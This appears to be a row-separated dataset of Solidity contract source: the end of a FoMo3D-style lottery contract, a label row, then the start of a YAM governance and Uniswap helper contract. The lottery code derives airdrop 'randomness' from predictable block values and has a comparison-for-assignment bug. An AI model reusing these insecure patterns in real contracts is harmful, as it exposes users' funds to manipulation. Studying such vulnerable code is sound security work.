if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,878 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token0,
address token1_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair.getReserves();
uint256 quoted = quote(reserve1, reserve0);
uint256 amount_token1 = quoted.mul(amount_token0).div(ONE);
token0.transfer(address(uniswap_pair), amount_token0);
token1.transferFrom(
token1_source,
address(uniswap_pair),
amount_token1
);
IUniswapV2Pair(uniswap_pair).mint(address(this));
}
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination)
internal
{
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
